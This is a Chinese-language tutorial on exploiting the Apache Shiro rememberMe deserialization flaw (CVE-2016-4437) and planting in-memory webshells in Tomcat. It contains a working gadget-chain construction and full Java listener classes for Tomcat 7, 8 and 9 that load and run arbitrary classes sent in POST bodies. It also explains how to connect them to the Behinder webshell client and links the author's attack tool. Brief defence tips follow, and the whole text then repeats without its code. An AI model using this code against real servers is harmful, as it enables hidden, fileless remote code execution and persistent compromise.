Shiro反序列化与Tomcat内存马注入学习
字数 1368 2025-08-05 08:19:26

Shiro反序列化与Tomcat内存马注入技术详解

一、Shiro反序列化漏洞概述

Shiro反序列化漏洞(CVE-2016-4437)是一个经典的Java安全漏洞,尽管发布于2016年,但在实际渗透测试中仍可能遇到未修复的老旧系统。

1.1 漏洞原理

Shiro框架使用rememberMe功能时,会将用户身份信息序列化后加密存储在Cookie中。攻击者可以构造恶意的序列化数据,利用Shiro默认的AES加密密钥进行加密,当服务器解密并反序列化这些数据时,就会触发远程代码执行。

1.2 利用链分析

文章中使用的是CommonsCollectionsK1_1利用链,这是CC3利用链的变种:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][] {code});
setFieldValue(obj,"_name","");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer i=new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { obj }
);
Map originalMap = new HashMap();
Map decoratedMap = LazyMap.decorate(originalMap, i);
Map fakedecoratedMap = LazyMap.decorate(originalMap, new ConstantTransformer("1"));
TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap,TrAXFilter.class);
Map enterpointMap = new HashMap();
enterpointMap.put(tme, "valuevalue");
decoratedMap.clear();
setFieldValue(tme,"map",decoratedMap);

关键点:

  1. 使用TemplatesImpl加载恶意字节码
  2. 通过InstantiateTransformer触发实例化
  3. 利用TiedMapEntryLazyMap构造调用链

二、Tomcat内存马注入技术

2.1 Tomcat内存马类型

Tomcat支持三种类型的内存马:

  1. Listener型 - 实现ServletRequestListener接口
  2. Filter型 - 实现Filter接口
  3. Servlet型 - 继承HttpServlet

2.2 获取StandardContext的三种方式

  1. 从JSP内置变量(如request)中获取(不适用于无文件落地场景)
  2. Thread.currentThread()中获取(推荐方式)
  3. 从JMX MBeanServer的domainTb中获取

2.3 Tomcat 8/9内存马注入

2.3.1 核心实现类

public class Init extends AbstractTranslet implements ServletRequestListener {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    
    public Init() throws Exception {
        super();
        super.namesArray = new String[]{"ccdr4gon"};
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}
    
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            RequestFacade requestfacade = (RequestFacade) sre.getServletRequest();
            Field field = requestfacade.getClass().getDeclaredField("request");
            field.setAccessible(true);
            Request request = (Request) field.get(requestfacade);
            if (request.getParameter("stage").equals("init")) {
                StringBuilder sb = new StringBuilder("");
                BufferedReader br = request.getReader();
                String str;
                while ((str = br.readLine()) != null) {
                    sb.append(str);
                }
                byte[] payload = Base64.getDecoder().decode(sb.toString());
                Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
                clazz.newInstance();
            }
        } catch (Exception ignored){}
    }
}

关键点:

  1. 同时继承AbstractTranslet和实现ServletRequestListener
  2. 在构造函数中将自己注册为Listener
  3. 通过POST请求体动态加载更多恶意代码

2.3.2 解决Request Header Too Large问题

由于Tomcat默认限制请求头大小为8KB,解决方案:

  1. 修改maxHeaderSize并需要多个连接同时访问
  2. 推荐:将恶意代码放在POST请求体中

2.4 Tomcat 7内存马注入

Tomcat 7无法直接通过getContext()获取StandardContext,需要使用更复杂的查找方式:

public class T7 extends AbstractTranslet implements ServletRequestListener {
    public Object G(Object o, String s) throws Exception {
        Field f = o.getClass().getDeclaredField(s);
        f.setAccessible(true);
        return f.get(o);
    }
    
    public void transform(DOM a, SerializationHandler[] b){}
    public void transform(DOM a, DTMAxisIterator b, SerializationHandler c){}
    public void requestDestroyed(ServletRequestEvent s) {}
    
    public T7() {
        try {
            Object o = new Object();
            Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
            for (int i = 0; i < g.length; i++) {
                Thread t = g[i];
                if (t != null && t.getName().contains("Backg")) {
                    o = G(G(t, "target"), "this$0");
                }
            }
            Field f = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
            f.setAccessible(true);
            HashMap<String,Object> p = (HashMap) f.get(o);
            for (Map.Entry l : p.entrySet()) {
                HashMap<String,Object> k = (HashMap) f.get(l.getValue());
                for (Map.Entry j : k.entrySet()){
                    ((StandardContext)j.getValue()).addApplicationEventListener(this);
                }
            }
        } catch (Exception i) {}
    }
    
    public void requestInitialized(ServletRequestEvent s) {
        try {
            StringBuilder b = new StringBuilder("");
            BufferedReader r = ((Request) G(s.getServletRequest(), "request")).getReader();
            String g;
            while ((g = r.readLine()) != null) {
                b.append(g);
            }
            byte[] p = Base64.getDecoder().decode(b.toString());
            Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            m.setAccessible(true);
            Class c = (Class) m.invoke(Thread.currentThread().getContextClassLoader(), p, 0, p.length);
            c.newInstance();
        } catch(Exception i){}
    }
}

关键点:

  1. 通过线程组查找Tomcat工作线程
  2. 通过反射获取ContainerBase的children字段
  3. 需要手动优化代码使其不超过8KB限制

三、与冰蝎3的连接

  1. 需要实现一个PageContext子类(如Dr4gonPageContext
  2. 必须实现getResponsegetRequestgetSession方法
  3. 注意类名必须包含"PageContext"才能被冰蝎识别

四、防御建议

  1. 升级Shiro到最新版本
  2. 修改默认的AES加密密钥
  3. 禁用rememberMe功能(如非必要)
  4. 部署RASP防护
  5. 定期检查Tomcat中异常Listener/Filter/Servlet

五、工具与资源

作者开源的工具和代码:https://github.com/ccdr4gon/Dr4gonSword

注意:本文所有技术仅供学习研究,请勿用于非法用途。

Shiro反序列化与Tomcat内存马注入技术详解 一、Shiro反序列化漏洞概述 Shiro反序列化漏洞(CVE-2016-4437)是一个经典的Java安全漏洞,尽管发布于2016年,但在实际渗透测试中仍可能遇到未修复的老旧系统。 1.1 漏洞原理 Shiro框架使用rememberMe功能时,会将用户身份信息序列化后加密存储在Cookie中。攻击者可以构造恶意的序列化数据,利用Shiro默认的AES加密密钥进行加密,当服务器解密并反序列化这些数据时,就会触发远程代码执行。 1.2 利用链分析 文章中使用的是CommonsCollectionsK1_ 1利用链,这是CC3利用链的变种: 关键点: 使用 TemplatesImpl 加载恶意字节码 通过 InstantiateTransformer 触发实例化 利用 TiedMapEntry 和 LazyMap 构造调用链 二、Tomcat内存马注入技术 2.1 Tomcat内存马类型 Tomcat支持三种类型的内存马: Listener型 - 实现 ServletRequestListener 接口 Filter型 - 实现 Filter 接口 Servlet型 - 继承 HttpServlet 类 2.2 获取StandardContext的三种方式 从JSP内置变量(如request)中获取(不适用于无文件落地场景) 从 Thread.currentThread() 中获取(推荐方式) 从JMX MBeanServer的domainTb中获取 2.3 Tomcat 8/9内存马注入 2.3.1 核心实现类 关键点: 同时继承 AbstractTranslet 和实现 ServletRequestListener 在构造函数中将自己注册为Listener 通过POST请求体动态加载更多恶意代码 2.3.2 解决Request Header Too Large问题 由于Tomcat默认限制请求头大小为8KB,解决方案: 修改 maxHeaderSize 并需要多个连接同时访问 推荐 :将恶意代码放在POST请求体中 2.4 Tomcat 7内存马注入 Tomcat 7无法直接通过 getContext() 获取StandardContext,需要使用更复杂的查找方式: 关键点: 通过线程组查找Tomcat工作线程 通过反射获取ContainerBase的children字段 需要手动优化代码使其不超过8KB限制 三、与冰蝎3的连接 需要实现一个 PageContext 子类(如 Dr4gonPageContext ) 必须实现 getResponse 、 getRequest 、 getSession 方法 注意类名必须包含"PageContext"才能被冰蝎识别 四、防御建议 升级Shiro到最新版本 修改默认的AES加密密钥 禁用rememberMe功能(如非必要) 部署RASP防护 定期检查Tomcat中异常Listener/Filter/Servlet 五、工具与资源 作者开源的工具和代码:https://github.com/ccdr4gon/Dr4gonSword 注意:本文所有技术仅供学习研究,请勿用于非法用途。